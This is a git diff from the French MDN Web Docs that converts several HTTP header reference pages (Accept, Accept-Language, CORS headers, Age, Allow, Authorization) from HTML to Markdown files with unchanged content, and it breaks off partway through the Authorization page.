Accept-Encoding: gzip
+
+Accept-Encoding: gzip, compress, br
+
+Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpecificationTitle
RFC 7231, section 5.3.4: Accept-EncodingHypertext Transfer Protocol (HTTP/1.1): Semantics and Context
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Accept-Encoding")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/accept-language/index.html b/files/fr/web/http/headers/accept-language/index.html deleted file mode 100644 index 0c5663c30c..0000000000 --- a/files/fr/web/http/headers/accept-language/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Accept-Language -slug: Web/HTTP/Headers/Accept-Language -tags: - - En-tête HTTP - - En-tête de requête - - HTTP - - Négociation de contenu - - Reference -translation_of: Web/HTTP/Headers/Accept-Language ---- -
{{HTTPSidebar}}
- -

L'en-tête Accept-Language de la requête HTTP indique quelles sont les langues que le client est capable de comprendre, et quelle variante locale est préférée. En utilisant la négociation de contenu, le serveur choisit alors l'une des propositions, l'utilise et informe le client de son choix par l'entête de réponse {{HTTPHeader("Content-Language")}}. Les navigateurs définissent les valeurs adéquates pour cet entête en fonction de la langue de leur interface utilisateur, et même si un utilisateur peut la changer, cela se produit rarement (et cela est vu d'un mauvais œil, dans la mesure où cela permet l'identification par empreinte numérique).

- -

Cet en-tête est une indication destinée à être utilisée lorsque le serveur n'a aucun moyen de déterminer la langue d'une autre manière, comme une URL spécifique, qui est contrôlée par une décision explicite de l'utilisateur. Il est recommandé que le serveur ne passe jamais outre une décision explicite. Le contenu d'Accept-Language est souvent hors du contrôle de l'utilisateur (comme lors d'un voyage et de l'utilisation d'un cybercafé à l'étranger) ; l'utilisateur peut également vouloir visiter une page dans une langue que celle des paramètres régionaux de son interface utilisateur.

- -

Si le serveur ne peut servir aucune langue qui corresponde, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (Not Acceptable). Mais, pour une meilleure expérience utilisateur, cela est rarement fait et la façon de faire la plus courante est d'ignorer l'en-tête Accept-Language dans ce cas.

- - - - - - - - - - - - - - - - -
Type d'en-tête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}non
{{Glossary("Simple header", "CORS-safelisted request-header")}}oui
- -

Syntaxe

- -
Accept-Language: <langue>
-Accept-Language: <locale>
-Accept-Language: *
-
-// Type multiples, pondérés par la syntaxe {{glossary("quality values", "valeur de qualité")}} :
-Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
- -

Directives

- -
-
<langue>
-
Une langue exprimée sous la forme de 2 ou 3 caractères.
-
<locale>
-
Une balise de langue complète. En plus de la langue elle-même, elle peut contenir des informations additionnelles après un'-'. L'information supplémentaire la plus courante est la variante de pays (telle que'en-US') ou le type d'alphabet à utiliser (comme'sr-Lat'). D'autres variantes comme le type d'orthographe ('de-DE-1996') ne sont pas habituellement utilisées dans le contexte de cet en-tête.
-
*
-
Toute langue ; '*' est utilisé comme un joker.
-
;q= (pondération q-factor)
-
Une quantité numérique donnant un ordre de préférence et qui utilise une valeur de qualité relative, appelée poids.
-
- -

Exemples

- -
Accept-Language: de
-
-Accept-Language: de-CH
-
-Accept-Language: en-US,en;q=0.5
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "Accept-Language", "5.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Accept-Language")}}

- -

Voir également

- - diff --git a/files/fr/web/http/headers/accept-language/index.md b/files/fr/web/http/headers/accept-language/index.md new file mode 100644 index 0000000000..0c5663c30c --- /dev/null +++ b/files/fr/web/http/headers/accept-language/index.md @@ -0,0 +1,93 @@ +--- +title: Accept-Language +slug: Web/HTTP/Headers/Accept-Language +tags: + - En-tête HTTP + - En-tête de requête + - HTTP + - Négociation de contenu + - Reference +translation_of: Web/HTTP/Headers/Accept-Language +--- +
{{HTTPSidebar}}
+ +

L'en-tête Accept-Language de la requête HTTP indique quelles sont les langues que le client est capable de comprendre, et quelle variante locale est préférée. En utilisant la négociation de contenu, le serveur choisit alors l'une des propositions, l'utilise et informe le client de son choix par l'entête de réponse {{HTTPHeader("Content-Language")}}. Les navigateurs définissent les valeurs adéquates pour cet entête en fonction de la langue de leur interface utilisateur, et même si un utilisateur peut la changer, cela se produit rarement (et cela est vu d'un mauvais œil, dans la mesure où cela permet l'identification par empreinte numérique).

+ +

Cet en-tête est une indication destinée à être utilisée lorsque le serveur n'a aucun moyen de déterminer la langue d'une autre manière, comme une URL spécifique, qui est contrôlée par une décision explicite de l'utilisateur. Il est recommandé que le serveur ne passe jamais outre une décision explicite. Le contenu d'Accept-Language est souvent hors du contrôle de l'utilisateur (comme lors d'un voyage et de l'utilisation d'un cybercafé à l'étranger) ; l'utilisateur peut également vouloir visiter une page dans une langue que celle des paramètres régionaux de son interface utilisateur.

+ +

Si le serveur ne peut servir aucune langue qui corresponde, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (Not Acceptable). Mais, pour une meilleure expérience utilisateur, cela est rarement fait et la façon de faire la plus courante est d'ignorer l'en-tête Accept-Language dans ce cas.

+ + + + + + + + + + + + + + + + +
Type d'en-tête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}non
{{Glossary("Simple header", "CORS-safelisted request-header")}}oui
+ +

Syntaxe

+ +
Accept-Language: <langue>
+Accept-Language: <locale>
+Accept-Language: *
+
+// Type multiples, pondérés par la syntaxe {{glossary("quality values", "valeur de qualité")}} :
+Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
+ +

Directives

+ +
+
<langue>
+
Une langue exprimée sous la forme de 2 ou 3 caractères.
+
<locale>
+
Une balise de langue complète. En plus de la langue elle-même, elle peut contenir des informations additionnelles après un'-'. L'information supplémentaire la plus courante est la variante de pays (telle que'en-US') ou le type d'alphabet à utiliser (comme'sr-Lat'). D'autres variantes comme le type d'orthographe ('de-DE-1996') ne sont pas habituellement utilisées dans le contexte de cet en-tête.
+
*
+
Toute langue ; '*' est utilisé comme un joker.
+
;q= (pondération q-factor)
+
Une quantité numérique donnant un ordre de préférence et qui utilise une valeur de qualité relative, appelée poids.
+
+ +

Exemples

+ +
Accept-Language: de
+
+Accept-Language: de-CH
+
+Accept-Language: en-US,en;q=0.5
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "Accept-Language", "5.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Accept-Language")}}

+ +

Voir également

+ + diff --git a/files/fr/web/http/headers/accept/index.html b/files/fr/web/http/headers/accept/index.html deleted file mode 100644 index 2f27ede072..0000000000 --- a/files/fr/web/http/headers/accept/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Accept -slug: Web/HTTP/Headers/Accept -tags: - - Entête HTTP - - Entête de Requête - - HTTP - - Reference -translation_of: Web/HTTP/Headers/Accept ---- -
{{HTTPSidebar}}
- -

Le paramètre d'entête de requête HTTP Accept indique quels sont les types de contenu, exprimés sous la forme de types MIME, que le client sera capable d'interpréter. Par le biais de la résolution de contenu -(content negotiation), le serveur sélectionne ensuite une proposition parmi toutes, l'utilise et informe le client de son choix avec l'entête de réponse {{HTTPHeader("Content-Type")}}. Les navigateurs fixent des valeurs adéquates pour cet entête selon le contexte où la requête a été exécutée : selon que l'utilisateur souhaite récupérer une feuille de style css,  ou qu'il souhaite récupérer une image, une vidéo ou un script, la valeur fixée pour la requête ne sera pas la même.

- - - - - - - - - - - - - - - - -
Type d'entête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}non
{{Glossary("Simple header", "CORS-safelisted request-header")}}oui
- -

Syntaxe

- -
Accept: <MIME_type>/<MIME_subtype>
-Accept: <MIME_type>/*
-Accept: */*
-
-// Types multiples, pondérés {{glossary("quality values", "quality value")}} par la syntaxe :
-Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
- -

Directives

- -
-
<MIME_type>/<MIME_subtype>
-
Un type MIME unique et déterminé MIME type, comme par exemple text/html.
-
<MIME_type>/*
-
un type MIME type ne comprenant pas de sous-type. image/* prendra en charge image/png, image/svg, image/gif et tous autres types d'image.
-
*/*
-
Tout type MIME 
-
;q= (facteur de pondération q)
-
N'importe quelle valeur utilisée est placée selon un ordre de préférence exprimé par une valeur de qualité (quality value) relative appelée le poids.
-
- -

Exemples

- -
Accept: text/html
-
-Accept: image/*
-
-Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
-
- -

Specifications

- - - - - - - - - - - - -
SpecificationTitre
{{RFC("7231", "Accept", "5.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Vocabulaire et cas d'usage
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Accept")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/accept/index.md b/files/fr/web/http/headers/accept/index.md new file mode 100644 index 0000000000..2f27ede072 --- /dev/null +++ b/files/fr/web/http/headers/accept/index.md @@ -0,0 +1,88 @@ +--- +title: Accept +slug: Web/HTTP/Headers/Accept +tags: + - Entête HTTP + - Entête de Requête + - HTTP + - Reference +translation_of: Web/HTTP/Headers/Accept +--- +
{{HTTPSidebar}}
+ +

Le paramètre d'entête de requête HTTP Accept indique quels sont les types de contenu, exprimés sous la forme de types MIME, que le client sera capable d'interpréter. Par le biais de la résolution de contenu -(content negotiation), le serveur sélectionne ensuite une proposition parmi toutes, l'utilise et informe le client de son choix avec l'entête de réponse {{HTTPHeader("Content-Type")}}. Les navigateurs fixent des valeurs adéquates pour cet entête selon le contexte où la requête a été exécutée : selon que l'utilisateur souhaite récupérer une feuille de style css,  ou qu'il souhaite récupérer une image, une vidéo ou un script, la valeur fixée pour la requête ne sera pas la même.

+ + + + + + + + + + + + + + + + +
Type d'entête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}non
{{Glossary("Simple header", "CORS-safelisted request-header")}}oui
+ +

Syntaxe

+ +
Accept: <MIME_type>/<MIME_subtype>
+Accept: <MIME_type>/*
+Accept: */*
+
+// Types multiples, pondérés {{glossary("quality values", "quality value")}} par la syntaxe :
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+ +

Directives

+ +
+
<MIME_type>/<MIME_subtype>
+
Un type MIME unique et déterminé MIME type, comme par exemple text/html.
+
<MIME_type>/*
+
un type MIME type ne comprenant pas de sous-type. image/* prendra en charge image/png, image/svg, image/gif et tous autres types d'image.
+
*/*
+
Tout type MIME 
+
;q= (facteur de pondération q)
+
N'importe quelle valeur utilisée est placée selon un ordre de préférence exprimé par une valeur de qualité (quality value) relative appelée le poids.
+
+ +

Exemples

+ +
Accept: text/html
+
+Accept: image/*
+
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationTitre
{{RFC("7231", "Accept", "5.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Vocabulaire et cas d'usage
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Accept")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/access-control-allow-methods/index.html b/files/fr/web/http/headers/access-control-allow-methods/index.html deleted file mode 100644 index 1460b08bec..0000000000 --- a/files/fr/web/http/headers/access-control-allow-methods/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Access-Control-Allow-Methods -slug: Web/HTTP/Headers/Access-Control-Allow-Methods -tags: - - CORS - - HTTP - - Reference - - entête -translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods ---- -
{{HTTPSidebar}}
- -

L'entête de réponse Access-Control-Allow-Methods spécifie les méthodes autorisées quand on accède à la ressource en réponse à une requête de pré-vérification ({{glossary("preflight request")}}).

- - - - - - - - - - - - -
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
- -

Syntaxe

- -
Access-Control-Allow-Methods: <methode>, <methode>, ...
-
- -

Directives

- -
-
<methode>
-
Liste délimitée par des virgules des méthodes de requêtes HTTP autorisées.
-
- -

Exemples

- -
Access-Control-Allow-Methods: POST, GET, OPTIONS
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}{{Spec2("Fetch")}}Définition initiale
- -

Compatibilité avec les navigateurs

- -

{{Compat("http.headers.Access-Control-Allow-Methods")}}

- -

Notes de compatibilité

- - - -

Voir aussi

- - diff --git a/files/fr/web/http/headers/access-control-allow-methods/index.md b/files/fr/web/http/headers/access-control-allow-methods/index.md new file mode 100644 index 0000000000..1460b08bec --- /dev/null +++ b/files/fr/web/http/headers/access-control-allow-methods/index.md @@ -0,0 +1,84 @@ +--- +title: Access-Control-Allow-Methods +slug: Web/HTTP/Headers/Access-Control-Allow-Methods +tags: + - CORS + - HTTP + - Reference + - entête +translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods +--- +
{{HTTPSidebar}}
+ +

L'entête de réponse Access-Control-Allow-Methods spécifie les méthodes autorisées quand on accède à la ressource en réponse à une requête de pré-vérification ({{glossary("preflight request")}}).

+ + + + + + + + + + + + +
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
+ +

Syntaxe

+ +
Access-Control-Allow-Methods: <methode>, <methode>, ...
+
+ +

Directives

+ +
+
<methode>
+
Liste délimitée par des virgules des méthodes de requêtes HTTP autorisées.
+
+ +

Exemples

+ +
Access-Control-Allow-Methods: POST, GET, OPTIONS
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}{{Spec2("Fetch")}}Définition initiale
+ +

Compatibilité avec les navigateurs

+ +

{{Compat("http.headers.Access-Control-Allow-Methods")}}

+ +

Notes de compatibilité

+ + + +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/access-control-allow-origin/index.html b/files/fr/web/http/headers/access-control-allow-origin/index.html deleted file mode 100644 index 359319cc18..0000000000 --- a/files/fr/web/http/headers/access-control-allow-origin/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Access-Control-Allow-Origin -slug: Web/HTTP/Headers/Access-Control-Allow-Origin -translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin ---- -
{{HTTPSidebar}}
- -

L'entête Access-Control-Allow-Origin renvoie une réponse indiquant si les ressources peuvent être partagées avec une origine donnée.

- - - - - - - - - - - - -
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
- -

Syntaxe

- -
Access-Control-Allow-Origin: *
-Access-Control-Allow-Origin: <origin>
-Access-Control-Allow-Origin: null
-
- -

Directives

- -
-
*
-
Pour les demandes sans informations d’identification, le serveur peut spécifier « * » comme un caractère générique, permettant ainsi à n’importe quelle origine d'accéder à la ressource.
-
<origin>
-
Spécifie un URI qui peut accéder à la ressource. Il n'est possible de spécifier qu'une seule origine.
-
- -

Exemples

- -

Pour permettre à n'importe quelle ressource d'accéder à vos ressources, vous pouvez indiquer :

- -
Access-Control-Allow-Origin: *
- -

Pour permettre https://developer.mozilla.org d'accéder à vos ressources, vous pouvez indiquer :

- -
Access-Control-Allow-Origin: https://developer.mozilla.org
- -

CORS et le cache

- -

Si le serveur spécifie un hôte d'origine plutôt que "*", il doit également inclure "Origin" dans l'en-tête de réponse "Vary" pour indiquer aux clients que les réponses du serveur seront différentes en fonction de la valeur de la demande d'origine entête.

- -
Access-Control-Allow-Origin: https://developer.mozilla.org
-Vary: Origin
- -

Caractéristiques

- - - - - - - - - - - - - - -
CaractéristiquesStatueCommentaire
{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}{{Spec2("Fetch")}}Initial definition.
- -

Compatibilité

- -

{{Compat("http.headers.Access-Control-Allow-Origin")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/access-control-allow-origin/index.md b/files/fr/web/http/headers/access-control-allow-origin/index.md new file mode 100644 index 0000000000..359319cc18 --- /dev/null +++ b/files/fr/web/http/headers/access-control-allow-origin/index.md @@ -0,0 +1,82 @@ +--- +title: Access-Control-Allow-Origin +slug: Web/HTTP/Headers/Access-Control-Allow-Origin +translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin +--- +
{{HTTPSidebar}}
+ +

L'entête Access-Control-Allow-Origin renvoie une réponse indiquant si les ressources peuvent être partagées avec une origine donnée.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Syntaxe

+ +
Access-Control-Allow-Origin: *
+Access-Control-Allow-Origin: <origin>
+Access-Control-Allow-Origin: null
+
+ +

Directives

+ +
+
*
+
Pour les demandes sans informations d’identification, le serveur peut spécifier « * » comme un caractère générique, permettant ainsi à n’importe quelle origine d'accéder à la ressource.
+
<origin>
+
Spécifie un URI qui peut accéder à la ressource. Il n'est possible de spécifier qu'une seule origine.
+
+ +

Exemples

+ +

Pour permettre à n'importe quelle ressource d'accéder à vos ressources, vous pouvez indiquer :

+ +
Access-Control-Allow-Origin: *
+ +

Pour permettre https://developer.mozilla.org d'accéder à vos ressources, vous pouvez indiquer :

+ +
Access-Control-Allow-Origin: https://developer.mozilla.org
+ +

CORS et le cache

+ +

Si le serveur spécifie un hôte d'origine plutôt que "*", il doit également inclure "Origin" dans l'en-tête de réponse "Vary" pour indiquer aux clients que les réponses du serveur seront différentes en fonction de la valeur de la demande d'origine entête.

+ +
Access-Control-Allow-Origin: https://developer.mozilla.org
+Vary: Origin
+ +

Caractéristiques

+ + + + + + + + + + + + + + +
CaractéristiquesStatueCommentaire
{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}{{Spec2("Fetch")}}Initial definition.
+ +

Compatibilité

+ +

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/access-control-request-headers/index.html b/files/fr/web/http/headers/access-control-request-headers/index.html deleted file mode 100644 index 4a181b1335..0000000000 --- a/files/fr/web/http/headers/access-control-request-headers/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Access-Control-Request-Headers -slug: Web/HTTP/Headers/Access-Control-Request-Headers -tags: - - CORS - - HTTP - - entête - - pré-vérification -translation_of: Web/HTTP/Headers/Access-Control-Request-Headers ---- -
{{HTTPSidebar}}
- -

L'entête Access-Control-Request-Headers est utilisé quand une requête de pré-vérification ({{glossary("preflight request")}}) et faite vers le serveur pour savoir les entêtes qui seront utilisés après la pré-vérification.

- - - - - - - - - - - - -
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
- -

Syntaxe

- -
Access-Control-Request-Headers: <header-name>, <header-name>, ...
-
- -

Directives

- -
-
<header-name>
-
Une liste d'entête HTTP séparé par des virgules qui sont inclus dans la requête.
-
- -

Exemples

- -
Access-Control-Request-Headers: X-PINGOTHER, Content-Type
- -

Dans cet exemple le serveur en réponse à la demande de pré-vérification indiquer au demandeur de la pré-vérification que la requête suivante sera accepté si elle contient X-PINGOTHER ou Content-type.

- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatusCommentaire
{{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}}{{Spec2("Fetch")}}Initial definition.
- -

Compatibilité navigateur

- -

{{Compat("http/headers/access-control-request-headers")}}

- -

Voir également

- - diff --git a/files/fr/web/http/headers/access-control-request-headers/index.md b/files/fr/web/http/headers/access-control-request-headers/index.md new file mode 100644 index 0000000000..4a181b1335 --- /dev/null +++ b/files/fr/web/http/headers/access-control-request-headers/index.md @@ -0,0 +1,71 @@ +--- +title: Access-Control-Request-Headers +slug: Web/HTTP/Headers/Access-Control-Request-Headers +tags: + - CORS + - HTTP + - entête + - pré-vérification +translation_of: Web/HTTP/Headers/Access-Control-Request-Headers +--- +
{{HTTPSidebar}}
+ +

L'entête Access-Control-Request-Headers est utilisé quand une requête de pré-vérification ({{glossary("preflight request")}}) et faite vers le serveur pour savoir les entêtes qui seront utilisés après la pré-vérification.

+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Syntaxe

+ +
Access-Control-Request-Headers: <header-name>, <header-name>, ...
+
+ +

Directives

+ +
+
<header-name>
+
Une liste d'entête HTTP séparé par des virgules qui sont inclus dans la requête.
+
+ +

Exemples

+ +
Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+ +

Dans cet exemple le serveur en réponse à la demande de pré-vérification indiquer au demandeur de la pré-vérification que la requête suivante sera accepté si elle contient X-PINGOTHER ou Content-type.

+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatusCommentaire
{{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}}{{Spec2("Fetch")}}Initial definition.
+ +

Compatibilité navigateur

+ +

{{Compat("http/headers/access-control-request-headers")}}

+ +

Voir également

+ + diff --git a/files/fr/web/http/headers/age/index.html b/files/fr/web/http/headers/age/index.html deleted file mode 100644 index fc78feaa3e..0000000000 --- a/files/fr/web/http/headers/age/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Age -slug: Web/HTTP/Headers/Age -translation_of: Web/HTTP/Headers/Age ---- -
{{HTTPSidebar}}
- -

L'entête HTTP {{HTTPHeader("Age")}} indique le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.

- -

Sa valeur est généralement proche de zéro. Elle vaut 0 lorsque la ressource vient d'être rapatriée du serveur d'origine; autrement, sa valeur équivaut à la différence entre la date courante du proxy et la valeur de l'entête {{HTTPHeader("Date")}} inclus dans la réponse HTTP.

- -

 

- - - - - - - - - - - - -
Type d'entêteEntête de réponse
Nom d'entête interditnon
- -

Syntaxe

- -
Age: <valeur-en-secondes>
-
- -

Directive

- -
-
<valeur-en-secondes>
-
-

Un entier positif indiquant le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.

-
-
- -

Exemple

- -
Age: 24
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7234", "Age", "5.1")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Age")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/age/index.md b/files/fr/web/http/headers/age/index.md new file mode 100644 index 0000000000..fc78feaa3e --- /dev/null +++ b/files/fr/web/http/headers/age/index.md @@ -0,0 +1,69 @@ +--- +title: Age +slug: Web/HTTP/Headers/Age +translation_of: Web/HTTP/Headers/Age +--- +
{{HTTPSidebar}}
+ +

L'entête HTTP {{HTTPHeader("Age")}} indique le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.

+ +

Sa valeur est généralement proche de zéro. Elle vaut 0 lorsque la ressource vient d'être rapatriée du serveur d'origine; autrement, sa valeur équivaut à la différence entre la date courante du proxy et la valeur de l'entête {{HTTPHeader("Date")}} inclus dans la réponse HTTP.

+ +

 

+ + + + + + + + + + + + +
Type d'entêteEntête de réponse
Nom d'entête interditnon
+ +

Syntaxe

+ +
Age: <valeur-en-secondes>
+
+ +

Directive

+ +
+
<valeur-en-secondes>
+
+

Un entier positif indiquant le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.

+
+
+ +

Exemple

+ +
Age: 24
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7234", "Age", "5.1")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Age")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/allow/index.html b/files/fr/web/http/headers/allow/index.html deleted file mode 100644 index e8605d2bfa..0000000000 --- a/files/fr/web/http/headers/allow/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Allow -slug: Web/HTTP/Headers/Allow -tags: - - Entête HTTP - - HTTP - - Reference - - entête -translation_of: Web/HTTP/Headers/Allow ---- -
{{HTTPSidebar}}
- -

L'entête Allow liste les méthodes supportées par une ressource.

- -

Cet entête doit être envoyée si le serveur répond avec un statut {{HTTPStatus("405")}} Method Not Allowed pour indiquer quelles méthodes peuvent être utilisées pour la requête. Une entête Allow vide indique que la ressource n'autorise aucune méthode, ce qui peut erriver temporairement pour une ressource donnée, par exemple.

- - - - - - - - - - - - -
Type d'entête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}non
- -

Syntaxe

- -
Allow: <methodes-http>
-
- -

Directives

- -
-
<methodes-http>
-
La liste des méthodes de requête HTTP autorisées, séparées par des virgules.
-
- -

Exemples

- -
Allow: GET, POST, HEAD
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "Allow", "7.4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/allow/index.md b/files/fr/web/http/headers/allow/index.md new file mode 100644 index 0000000000..e8605d2bfa --- /dev/null +++ b/files/fr/web/http/headers/allow/index.md @@ -0,0 +1,66 @@ +--- +title: Allow +slug: Web/HTTP/Headers/Allow +tags: + - Entête HTTP + - HTTP + - Reference + - entête +translation_of: Web/HTTP/Headers/Allow +--- +
{{HTTPSidebar}}
+ +

L'entête Allow liste les méthodes supportées par une ressource.

+ +

Cet entête doit être envoyée si le serveur répond avec un statut {{HTTPStatus("405")}} Method Not Allowed pour indiquer quelles méthodes peuvent être utilisées pour la requête. Une entête Allow vide indique que la ressource n'autorise aucune méthode, ce qui peut erriver temporairement pour une ressource donnée, par exemple.

+ + + + + + + + + + + + +
Type d'entête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}non
+ +

Syntaxe

+ +
Allow: <methodes-http>
+
+ +

Directives

+ +
+
<methodes-http>
+
La liste des méthodes de requête HTTP autorisées, séparées par des virgules.
+
+ +

Exemples

+ +
Allow: GET, POST, HEAD
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "Allow", "7.4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/authorization/index.html b/files/fr/web/http/headers/authorization/index.html deleted file mode 100644 index 065c4fc78a..0000000000 --- a/files/fr/web/http/headers/authorization/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Authorization -slug: Web/HTTP/Headers/Authorization -tags: - - HTTP - - Reference - - en-tête - - requête -translation_of: Web/HTTP/Headers/Authorization ---- -
{{HTTPSidebar}}
- -

L'en-tête de requête HTTP Authorization contient les identifiants permettant l'authentification d'un utilisateur auprès d'un serveur, habituellement après que le serveur ait répondu avec un statut {{HTTPStatus("401")}} Unauthorized et l'en-tête {{HTTPHeader("WWW-Authenticate")}}

- - - - - - - - - - - - -
Type d'en-tête{{Glossary("Request header")}}
Nom d'en-tête interditNon
- -

Syntaxe

- -
Authorization: <type> <credentials>
- -

Directives

- -
-
<type>
-

Le type d'authentification. Le type "Basic" est souvent utilisé. Pour connaître les autres types :

- -
-
<credentials>
-

Si c'est le type d'authentification "Basic" qui est utilisé, les identifiants sont construits de la manière suivante :

-
    -
  • L'identifiant de l'utilisateur et le mot de passe sont combinés avec deux-points : (aladdin:sesameOuvreToi).
    • -
  • Cette chaîne de caractères est ensuite encodée en base64 (YWxhZGRpbjpzZXNhbWVPdXZyZVRvaQ==).
    • -
-
-

Note : L'encodage en Base64 n'est pas un chiffrement ou un hachage ! Cette méthode est aussi peu sûre que d'envoyer les identifiants en clair (l'encodage base64 est un encodage réversible). Il faudra privilégier HTTPS lorsqu'on emploie une authentification "basique".

-
-
-
- -

Exemples

- -
Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
-
- -

Voir aussi l'article authentification HTTP avec des exemples de configuration de serveurs Apache ou nginx pour protéger votre site grâce à un mot de passe et l'authentification HTTP basique.

- -

Spécifications

- - - - - - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("7235", "Authorization", "4.2")}}HTTP/1.1 : Authentification
{{RFC("7617")}}Schéma d'Authentification HTTP 'Basic'
- -

Voir

- - diff --git a/files/fr/web/http/headers/authorization/index.md b/files/fr/web/http/headers/authorization/index.md new file mode 100644 index 0000000000..065c4fc78a --- /dev/null +++ b/files/fr/web/http/headers/authorization/index.md @@ -0,0 +1,89 @@ +--- +title: Authorization +slug: Web/HTTP/Headers/Authorization +tags: + - HTTP + - Reference + - en-tête + - requête +translation_of: Web/HTTP/Headers/Authorization +--- +
{{HTTPSidebar}}
+ +

L'en-tête de requête HTTP Authorization contient les identifiants permettant l'authentification d'un utilisateur auprès d'un serveur, habituellement après que le serveur ait répondu avec un statut {{HTTPStatus("401")}} Unauthorized et l'en-tête {{HTTPHeader("WWW-Authenticate")}}

+ + + + + + + + + + + + +
Type d'en-tête{{Glossary("Request header")}}
Nom d'en-tête interditNon
+ +

Syntaxe

+ +
Authorization: <type> <credentials>
+ +

Directives

+ +
+
<type>
+

Le type d'authentification. Le type "Basic" est souvent utilisé. Pour connaître les autres types :

+ +
+
<credentials>
+

Si c'est le type d'authentification "Basic" qui est utilisé, les identifiants sont construits de la manière suivante :

+
    +
  • L'identifiant de l'utilisateur et le mot de passe sont combinés avec deux-points : (aladdin:sesameOuvreToi).
    • +
  • Cette chaîne de caractères est ensuite encodée en base64 (YWxhZGRpbjpzZXNhbWVPdXZyZVRvaQ==).
    • +
+
+

